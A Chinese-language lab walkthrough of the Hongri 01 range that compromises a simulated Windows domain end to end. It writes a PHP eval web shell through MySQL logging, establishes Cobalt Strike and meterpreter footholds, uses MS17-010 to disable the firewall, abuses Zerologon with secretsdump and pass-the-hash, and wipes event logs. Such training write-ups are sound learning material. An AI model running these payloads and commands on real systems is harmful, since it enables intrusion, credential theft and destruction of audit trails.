内网攻防实战_红日靶场01
一、环境搭建 1.环境搭建测试 2.信息收集
二、漏洞利用 3.漏洞搜索与利用 4.后台Getshell上传技巧 5.系统信息收集 6.主机密码收集
三、内网搜集 7.内网--继续信息收集 8.内网攻击姿势--信息泄露 9.内网攻击姿势-MS08-067 10.内网攻击姿势-SMB远程桌面口令猜测 11.内网攻击姿势-Oracle数据库TNS服务漏洞 12.内网攻击姿势-RPC DCOM服务漏洞
四、横向移动 13.内网其它主机端口-文件读取 14.内网其它主机端口-redis 15.内网其它主机端口-redis Getshell 16.内网其它主机端口-MySQL数据库 17.内网其它主机端口-MySQL提权
五、构建通道 18.内网其它主机端口-代理转发
六、持久控制 19.域渗透-域成员信息收集 20.域渗透-基础服务弱口令探测及深度利用之powershell 21.域渗透-横向移动[wmi利用] 22.域渗透-C2命令执行 23.域渗透-利用DomainFronting实现对beacon的深度隐藏 24.域渗透-域控实现与利用
七、痕迹清理 25、日志清理
拓扑图
需要注意的是我们在搭建拓扑之后,kali和web服务器要用nat模式,或者桥接,不可以使用仅主机模式,因为仅主机模式是没有网关的,在做代理的时候会不通
1.使用arp扫描探测同网段主机,也可以使用nmap或者fscan等工具来探测
arp-scan -l
2.nmap进行信息收集
注意这里要现在web服务器上打开phpstudy,否则默认不会自己启动,那么不会开放80端口的服务
nmap -p- -sV -n 192.168.198.133
开放了80端口,对80端口进行测试,或者试试永恒之蓝 2.对80端口进行漏洞测试
是一个php的探针,我们获取到了是一个phpstudy的网站,并且有了网站的绝对路径,底部有一个mysql的登录测试,我们使用弱口令,发现root:root可以登录
往后没有什么信息了,我们使用工具进行目录扫描
3.目录扫描探测&木马植入
我这里使用的是dirsearch工具,其他工具也可以,找到了一个phpmyadmin目录,访问之后尝试若口令root:root登录成功
dirsearch -u http://xxxx
这里我们注意,只有当这sucure_file_priv为null的时候,我们使用sqlmap的os-shell才可以拿到shell, 因为这里为努力了,所以我们也不能用into outfile来写入木马了,因为没有存放位置
这个secure_file_priv不可以使用sql语句来更改,需要编辑my.ini来更改,我们尝试修改日志文件位置,然后来写入shell
show variables like "%general%";
修改日志文件存放位置
set global general_log_file="C:\\phpStudy\\WWW\\shell.php";
查看是否修改成功
show variables like "%general%";
通过日志文件来写入一句话木马
select '<?php @eval($_POST[1]);?>'
这里我直接进行访问了,但是404,后来我又看了一下日志文件,发现没有开启日志文件,我们开启,然后访问
set global general_log="on";
因为之前没有开启,所以插入的木马不会存在,我们重新插入一下
访问shell.php如下, 然后使用webshell工具进行链接
可以连接,那我们是不是可以上传文件,然后把shell给到kali或者给到cs呢,我们现在使用cs来上线
4.上线CS&关联MSF
开启cs服务器
这里说明一下,因为cs使用时间太长会有很多的cs服务器,我们只需要删除这个文件即可
创建一个监听器,配置如下
有效载荷-windows可执行程序-选择刚才创建的监听器,然后生成后,通过哥斯拉工具上传到网站根目录下
然后在哥斯拉中执行木马,上线到c2上
修改回连间隔为0
通过svc提权成system权限,然后可以使用cs进行网络探测,然后进一步进行渗透,也可以使用msf工具 这里我先spawn到msf中测试,建立一个反向的监听器
会话交互中,使用命令spawn,然后选择kali这个监听器
kali的msf工具配置如下
msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
获取到控制台之后我们去进行信息收集
获取当前权限
C:\>net config workstation //获取工作站信息
net time /domain //查询同步域控制器时间
net view //列出网络中的计算机
通过hashdump获取hash值
整理信息
通过msf权限太高,看不了密码
使用cs获取
通过msf来进行内网主机的代理和渗透测试
run autoroute -p //查看路由
run post/multi/manage/autoroute //添加路由
run autoroute -s 192.168.52.0/24 //执行路由,去往52的路由
使用代理工具挂代理,然后使用proxychains来代理
代理配置文件如下
测试代理效果,其中192.168.52.0这个段是通过web服务器得到的
检测到有永恒之蓝漏洞 我这里尝试了一下windows代理
尝试使用永恒之蓝吧,在kali的msf中,auxiliary/admin/smb/ms17_010_command可以用,开启3389端口
set rhost 192.168.52.141 //域控
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' //开启3389
exploit //攻击
关闭防火墙,报错了没有命令,不管了
set command netsh advfirewall set allprofiles state off 关闭防火墙命令
exploit
我们在192.168.52.141上发现域控是owa.god.org
5.域控CVE-2020-1472漏洞
-
-
Zerologon 漏洞允许攻击者将域控制器的计算机账户密码重置为空,从而可能获得对域控制器的控制权。
-
-
-
zerologon下载: https://codeload.github.com/risksense/zerologon/zip/refs/heads/master
-
python3 set_empty_pw.py owa 192.168.52.138
尝试将目标域控制器(IP 地址为 192.168.52.138)的机器账户密码设置为空,这里的目标是域控制器的ip,结果Success! 域控密码成功置为空。
将密码设置为空字符串
impacket-secretsdump -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'god.org/owa$@192.168.52.138'
wmiexec.py上线
wmiexec.py:通过Windows Management Instrumentation使用的半交互式shell,它不需要在目标服务器上安装任何服务/代理,以管理员身份运行,非常隐蔽。
https://github.com/SecureAuthCorp/impacket.git
使用vmiexec.py脚本,通过这个administrator的hash值进行登录
┌──(root㉿kali)-[~/Desktop/zerologon-master]
└─# git clone https://github.com/SecureAuthCorp/impacket.git
Cloning into 'impacket'...
remote: Enumerating objects: 23605, done.
remote: Counting objects: 100% (181/181), done.
remote: Compressing objects: 100% (130/130), done.
remote: Total 23605 (delta 97), reused 102 (delta 51), pack-reused 23424
Receiving objects: 100% (23605/23605), 10.24 MiB | 2.00 MiB/s, done.
Resolving deltas: 100% (17887/17887), done.┌──(root㉿kali)-[~/Desktop/zerologon-master]
└─# cd impacket ┌──(root㉿kali)-[~/Desktop/zerologon-master/impacket]
└─# python setup.py install┌──(root㉿kali)-[~/Desktop/zerologon-master/impacket]
└─# cd examples ┌──(root㉿kali)-[~/Desktop/zerologon-master/impacket/examples]
└─# python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:db4371323f83b0ad7f16ea72eb1fcd73 god.org/administrator@192.168.52.138
Impacket v0.12.0.dev1+20240523.75507.15eff880 - Copyright 2023 Fortra
执行命令,获取到域控权限
6.横向移动(简单方法)
在上线cs之后,使用横向移动就可以获取内网主机所有权限了 1.切换为以列表展示目标
这两台我们没有权限,我们去尝试使用横向移动
使用psexec来移动
我们要新建一个smb协议的监听器,差点忘记了,做到这里一直移动不出来=-=,然后才想起来-=-
一定要注意监听器一定要对,如果不行可以一个一个试试,在此之前在web服务器看一下hashdump和明文密码
有如下标志的就是通过横向移动获取到的上线主机
至此结束,清空痕迹 windows系统
wevtutil cl system 清除系统日志
wevtutil cl application 清除应用程序日志
wevtutil cl security 清除安全日志
netsh interface portproxy show all 查看转发的端口情况
netsh interface portproxy delete v4tov4 listenaddress=192.168.52.143 listenport=5557 清理转发的端口
msf清空痕迹
clearev #清除事件日志